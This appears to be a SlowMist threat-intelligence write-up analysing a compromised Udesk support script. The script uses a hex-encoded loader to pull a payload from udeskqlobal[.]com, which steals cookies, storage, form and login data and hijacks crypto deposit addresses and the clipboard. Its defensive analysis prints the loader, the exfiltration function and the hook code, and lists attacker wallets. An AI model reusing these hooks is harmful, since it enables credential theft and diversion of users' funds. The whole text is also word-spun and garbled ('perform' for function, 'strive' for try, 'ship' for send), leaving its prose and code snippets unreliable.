Threat Intelligence | Udesk Loads Malicious JS to Steal Data and Alter Transfer Addresses
Malicious Loader and Remote Payload Loading Mechanism
When opening udeskApi.2026-10-16.cached.js, we will see code implementing options such because the customer support button, chat iframe, customer monitoring, and message communication. Further examination of the tip of the file reveals a standalone perform after the principle code block ends. It decodes two strings by means of _ud(), creates a component, and inserts it into the present doc’s head.
This part doesn’t immediately specify the tag identify or distant URL. If we search just for plaintext domains, the loading entry level can simply be missed. By analyzing the implementation of _ud(), we discovered that it takes two hexadecimal characters at a time and converts them into characters. Once the constants are expanded, the loading goal turns into clear.
var _s = doc.createElement(_ud("736372697074"));
_s.src = _ud("68747470733a2f2f756465736b716c6f62616c2e636f6d2f64656570732e6a73");
_s.async = !0;
doc.head.appendChild(_s);
736372697074 decodes to script, whereas the opposite fixed decodes to https[:]//udeskqlobal[.]com/deeps.js. The area identify accommodates qlobal, starting with the letter q. This spelling must be preserved when looking out.
The loader units the script to execute asynchronously and then inserts it into the web page. When execution reaches this level and browser insurance policies and community situations allow, the distant code can enter the present doc.
The payload corresponding to this URL is deeps.js. The investigation then shifted from the customer support SDK to the payload itself. Third-party traditional scripts execute within the context of the embedding doc, and the information they will entry will depend on the web page or iframe wherein they really run. The use of an iframe for the customer support chat window doesn’t mechanically isolate scripts loaded into the host web page.
Webpage Data Collection Mechanism and Scope of Impact
At the start of deeps.js, the script first reads window.location.hostname and generates configuration C primarily based on guidelines for 3 websites. However, this configuration alone is inadequate to decide which pages are topic to knowledge assortment. We want to hint the situation of the exit situation to decide whether or not it restricts your entire script or solely considered one of its modules.
Continue tracing down the management move, we discovered that Cookie and net storage reads, the transmission of an preliminary snapshot, and kind and authentication request hooks all seem earlier than if (! C) return;. Below, we extract the snapshot transmission assertion and the XHR hook on the finish in supply order. Comments point out omitted code corresponding to formatted view D and D–L166.
_send(_cb + "?s=" + encodeURIComponent((d.s || "")) + "&o=" + encodeURIComponent(d.o) + "&c=" + encodeURIComponent((d.c || "")) + "&l=" + encodeURIComponent((d.l || "")) + "&ss=" + encodeURIComponent((d.ss || ""))
// Omitted D:L101–L150: exception dealing with, kind submit methodology and occasion hooks, and fetch hook.
strive {
var _oXO = XMLHttpRequest.prototype.open, _oXS = XMLHttpRequest.prototype.ship;
XMLHttpRequest.prototype.open = perform () {
this._u = arguments[1];
return _oXO.apply(this, arguments)
};
XMLHttpRequest.prototype.ship = perform (physique) {
strive signup catch (e) {
}
return _oXS.apply(this, arguments)
}
} catch (e) {
}
if (! C) return;
The location of the exit situation clarifies the scope of impression: even when the hostname doesn’t match any of the three site-specific guidelines, the script first enters the information assortment path and installs hooks, then exits the handle module. When investigating uncovered pages, searches shouldn’t be restricted to the configurations for these three websites.
At startup, the payload reads the Cookies, localStorage, and sessionStorage accessible to the present webpage. These areas can retailer login states, person profiles, and enterprise knowledge. If they comprise legitimate, reusable login tokens, attackers might receive them and impersonate person periods. The script additionally consists of the top-level web page URL and the present doc’s origin, submitting these alongside the collected knowledge.
The assortment course of handles particular person failures gracefully. If studying the top-level URL throughout origins fails, the script substitutes x and continues processing the opposite fields. Both kinds of net storage are serialized as JSON. Cookie assortment is restricted to the content material readable by means of doc.cookie; HttpOnly Cookies will not be included.
The script additionally offers entry factors for accumulating knowledge submitted later. When a person submits a kind, it iterates by means of enter, choose, and textarea components, copies non-empty values, and then permits the unique submission course of to proceed. Fields really crammed in on the web page, together with account names, passwords, and verification codes, might enter a further knowledge transmission path. If leaked, this info might be used to log into accounts or take them over.
This path is carried out by wrapping HTMLFormElement.prototype.submit and listening for the submit occasion throughout the seize section. For pages that submit knowledge immediately by means of APIs, the script additionally wraps fetch and XHR. When a request accommodates a physique and its URL matches key phrases corresponding to login|signin|auth|register|signup|password, the script copies the corresponding content material whereas preserving the unique request name. The fetch department moreover requires the URL to be a string, and the physique is taken from the request choices. When objects corresponding to FormData are serialized immediately to JSON, the collected content material might omit the precise fields.
Data Exfiltration Mechanism and Fallback Channel
All the gathering entry factors described above in the end name the identical _send() perform. Further tracing of this perform reveals a set receiving endpoint: https[:]//udeskqlobal[.]com/c.php. The startup snapshot makes use of the fields s, o, c, l, and ss to carry the web page URL, present origin, readable Cookies, and the 2 kinds of net storage, respectively. Subsequent kind submissions and authentication requests are despatched when their respective triggers are activated.
The perform extracts the parameters following the query mark within the URL and locations them within the physique of an asynchronous POST request, setting Content-Type: software/x-www-form-urlencoded. The sending perform is reproduced in full beneath (D–L60):
function_send(u) {
strive {
var p = u.indexOf("?"), b = p > 0 ? u.substring(p + 1): "", e = p > 0 ? u.substring(0, p): u;
var x = new XMLHttpRequest();
x.open("POST", e, true);
x.setRequestHeader("Content-Type", "software/x-www-form-urlencoded");
x.onerror = perform () {
var i = new Image();
i.src = u.substring(0, 8000)
};
x.ship(b)
} catch (e) {
var i = new Image();
i.src = u.substring(0, 8000)
}
}
The transmission path additionally consists of an image-request fallback. When an XHR error happens or a synchronous exception is raised throughout transmission, the script creates an Image object and assigns the URL containing the parameters to src, making an attempt to transmit the information once more by way of GET. The URL is truncated to the primary 8,000 JavaScript characters, so longer content material could also be incomplete.
When analyzing this path, it is vital to distinguish between “sending a request” and “studying a response.” The script doesn’t learn the response from c.php. Cross-origin POST requests that meet the situations for easy requests will be despatched earlier than the browser restricts entry to the response. Therefore, a CORS error and profitable request transmission can happen concurrently. Investigation information ought to study each the POST physique and the picture GET parameters, whereas egress insurance policies ought to individually examine connect-src and img-src. If a daily kind triggers doc navigation, this may additionally have an effect on whether or not asynchronous requests full.
At this level, the locations of webpage session knowledge and subsequent submission contents are clear. However, the payload retains one other set of operations after the site-specific exit situation: figuring out handle codecs, modifying web page textual content, and taking on the copy course of. This code directs the investigation additional towards deposit operations.
Deposit Address Replacement and Clipboard Hijacking Mechanism
After if (! C) return;, the script enters the handle module. The three hostname guidelines at first now have a transparent objective: they match mgbx[.]com, bikingex[.], and bitxex[.]io, choosing ingredient selectors for addresses and copy buttons on completely different pages.
These common expressions don’t have any begin or finish anchors, so their matching scope is broader than an actual area comparability. The web page guidelines additionally examine the total location.href, that means key phrases corresponding to deposit, recharge, and property in question parameters or fragments are additionally thought of. When the web page, ingredient, and handle format all match, the script scans each 200 milliseconds and replaces acknowledged deposit addresses with configured values. If a person completes a sound switch utilizing a changed handle, the recipient might be modified to that handle.
The three site-specific branches share six configured values, labeled within the code as BTC, EVM, TRON, Solana, LTC, and DOGE. Address identification depends solely on character patterns and matching order. It doesn’t confirm the community chosen by the person or the handle checksum, and might also misidentify unusual enterprise identifiers.
Further examination of the copy-related code reveals that the pattern interferes with each the displayed content material and the clipboard contents. As a end result, even when customers examine the handle displayed on the web page with the copied end result, they might see the identical tampered worth. There are three separate paths:
- Wrapping the Clipboard API. navigator.clipboard.writeText first passes its argument by means of R() for alternative, then forwards it to the unique methodology. This path is restricted solely by the hostname configuration. It doesn’t recheck the deposit web page situations and doesn’t rely upon the DOM scan having matched any components.
- Replacing copy buttons. The script clones matching buttons, installs a brand new click on listener, and replaces the unique nodes. The new listener prevents the default motion and occasion propagation, then makes an attempt to copy the handle saved within the shared variable _cur.
- Intercepting copy occasions. When _cur is non-empty and the web page guidelines are glad, a listener on doc adjustments the copied content material to _cur with out checking whether or not the textual content chosen by the person is an handle.
The Clipboard API wrapper and the copy listener are adjoining within the supply code (D–L275), however their triggering situations differ:
strive {
var oNW = navigator.clipboard.writeText.bind(navigator.clipboard);
navigator.clipboard.writeText = perform (t) {
return oNW(R(t))
}
} catch (e) {
}
strive {
doc.addEventListener("copy", perform (e) {
if (_cur && C && window.location.href.match(C.pg)) {
e.preventDefault();
e.clipboardData.setData("textual content/plain", _cur)
}
}, true)
} catch (e) {
}
_cur shops the final handle really changed. When a number of kinds of addresses seem on the identical display screen, a subsequent alternative overwrites the earlier worth, doubtlessly inflicting a number of buttons to copy the identical handle. If the web page already shows a configured handle initially, the scan doesn’t initialize _cur for that motive alone, and the brand new button listener subsequently doesn’t write any content material. Inline occasion handler attributes retained within the cloned HTML can nonetheless take part in occasion processing.
The evaluation additionally recognized an implementation defect that impacts behavioral evaluation: the script makes an attempt to retrieve the personal property descriptor for textual contentContent from Element.prototype, whereas the usual property is outlined on Node.prototype. Under normal prototype relationships, accessing .set afterward throws an exception. The catch block silently swallows this exception. Further examination of the encircling code exhibits that the polling course of has already been registered, and subsequent clipboard hooks are nonetheless put in in accordance to their respective situations. An error on this particular person department doesn’t terminate the handle hijacking module.
Conclusion
By tracing the loader on the finish of the customer support script, we recognized the pattern’s assault goals: accumulating knowledge that might be used to impersonate periods or log into accounts, whereas changing recipient addresses on deposit pages and throughout copy operations with configured values. The former will not be restricted by the three site-specific configurations, whereas the latter is enabled in accordance to the positioning and the precise copy path. Investigations ought to subsequently cowl completely different publicity eventualities.
Businesses that proceed to load the affected scripts ought to cease distributing them, handle uncovered credentials, and confirm deposit locations towards trusted backends and transaction information.
Recommendations
- Preserve and cease distributing compromised sources. If manufacturing environments nonetheless load the affected scripts, protect the precise responses, request initiation chains, cache info, and assortment timestamps earlier than blocking them as quickly as doable. Restore independently verified, trusted variations and examine web site internet hosting, CDN, construct, and tag administration configurations.
- Search for loading and exfiltration information. Correlate searches for the malicious area, each paths, and file hashes. For exfiltration information, study each POST our bodies and GET parameters. When investigating minified scripts, additionally seek for the hexadecimal URL within the loader to keep away from lacking matches by looking out just for plaintext.
- Terminate compromised paperwork and handle uncovered credentials. Fully shut the related pages or WebView paperwork to stop outdated sources from being reloaded. Based on the precise scope of publicity, revoke periods and rotate tokens and passwords from a clear setting. Removing the script tag doesn’t revoke hooks and timers which have already been put in.
- Independently confirm deposit addresses and transactions. For pages on which the payload executed, confirm the unique deposit addresses, related transactions, and precise switch locations by means of trusted channels. Assess the impression primarily based on transaction information.
- Verify script controls and knowledge egress restrictions. Configure script supply and integrity controls in accordance to enterprise necessities. Separately confirm insurance policies corresponding to connect-src and img-src, and limit script loading and knowledge exfiltration involving udeskqlobal[.]com.
IOCs
Domain
udeskqlobal[.]com
URLs
https[:]//udeskqlobal[.]com/deeps[.]js
https[:]//udeskqlobal[.]com/c[.]php
Wallet Addresses
- BTC: bc1qhzppfj69ywp22swj50jwcfxdamg3ym245srng9
- EVM: 0x9B6EcD0023a28E1391c5124eCe578A9751A337b2
- TRON: TH4L5YAhhxtC8qALbZKbPZZgausbGi25nF
- Solana: AFmCUe3nNbjTaC585CcdA3vvC9iWVR8YunooFKpaQx2Z
- LTC: ltc1qwz0zp39ywl34kahvn9lyk7j5x63wsy9tcxhm3w
- DOGE: DAoy2w8uvFtZ92q87s9qKEoHbWgV7mVThj
Malicious Files
Filename: udeskApi.2026-10-16.cached.js
SHA256: 45b4e8f160d8d5177819f6c1dc67acc7abbdc65eeaffc909e668799dc778bcf6
Filename: deeps.js
SHA256: 57c1441c4f5bb3260981a2df64f9ff35f117abde0d8667c8c66a047880074c59
About MistEye
MistEye is a Web3 risk intelligence and dynamic safety monitoring platform independently developed by SlowMist. It offers malicious exercise detection and provide chain danger alerting for open-source bundle ecosystems by means of an API.
All malicious packages and IOCs concerned on this operation have been built-in into the MistEye risk detection engine. Developers can use the API to mechanically scan venture dependencies, rapidly decide whether or not any identified malicious packages are current, and receive remediation suggestions.
📖 API Documentation: https://app.misteye.io/api-docs
🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan — A light-weight CLI device that scans venture dependencies and globally put in packages for identified malicious packages with a single command. It helps the npm, PyPI, Cargo, Go, and RubyGems ecosystems.
🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills — A safety abilities bundle for coding assistants that mechanically triggers MistEye safety checks earlier than dependency set up and URL entry.
🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard — A safety safety device that detects malicious domains and dangerous entry, figuring out community threats corresponding to phishing and C2 communications.
This article was written by the SlowMist Threat Intelligence group primarily based on the MistEye risk intelligence system and SlowMist Agent AI-driven evaluation. If you may have any questions, please be at liberty to attain out or present suggestions.
About SlowMist
SlowMist is a risk intelligence agency centered on blockchain safety, established in January 2018. The agency was began by a group with over ten years of community safety expertise to turn into a world power. Our objective is to make the blockchain ecosystem as safe as doable for everybody. We are actually a famend worldwide blockchain safety agency that has labored on numerous well-known tasks corresponding to HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, and many others.
SlowMist gives quite a lot of companies that embrace however will not be restricted to safety audits, risk info, protection deployment, safety consultants, and different security-related companies. We additionally supply AML (Anti-money laundering) software program, MistEye (Security Monitoring), SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and different SaaS merchandise. We have partnerships with home and worldwide corporations corresponding to Akamai, BitDefender, RC², TianJi Partners, IPIP, and many others. Our intensive work in cryptocurrency crime investigations has been cited by worldwide organizations and authorities our bodies, together with the United Nations Security Council and the United Nations Office on Drugs and Crime.
By delivering a complete safety answer custom-made to particular person tasks, we will establish dangers and stop them from occurring. Our group was ready to discover and publish a number of high-risk blockchain safety flaws. By doing so, we might unfold consciousness and increase the safety requirements within the blockchain ecosystem.
References
[1] https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CORS#simple_requests
[2] https://developer.mozilla.org/en-US/docs/Web/API/Node/cloneNode
